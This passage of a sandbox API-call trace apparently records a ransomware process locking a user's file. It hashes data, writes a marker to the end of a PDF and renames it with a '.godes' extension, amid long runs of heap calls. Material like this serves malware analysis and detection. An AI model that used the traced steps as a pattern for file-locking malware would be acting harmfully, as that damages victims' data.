liDistanceToMove=0x14e66, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.407] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.408] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x14e8c, lpOverlapped=0x0) returned 1 [0113.409] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.409] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.409] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.409] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.410] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.410] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.410] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.410] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.410] GetLastError () returned 0x0 [0113.410] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.410] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.411] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14e8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.411] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.411] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.411] CloseHandle (hObject=0x624) returned 1 [0113.412] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_jD_3EsBV.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_jd_3esbv.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_jD_3EsBV.pdf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_jd_3esbv.pdf.godes")) returned 1 [0113.413] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437ed960, ftCreationTime.dwHighDateTime=0x1d4d26a, ftLastAccessTime.dwLowDateTime=0x526103d0, ftLastAccessTime.dwHighDateTime=0x1d4d432, ftLastWriteTime.dwLowDateTime=0x526103d0, ftLastWriteTime.dwHighDateTime=0x1d4d432, nFileSizeHigh=0x0, nFileSizeLow=0x14e8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_jD_3EsBV.pdf", cAlternateFileName="_JD_3E~1.PDF")) returned 0 [0113.413] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0113.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.414] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.414] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.414] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.414] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.415] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.416] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.418] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.419] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.419] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.420] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.420] 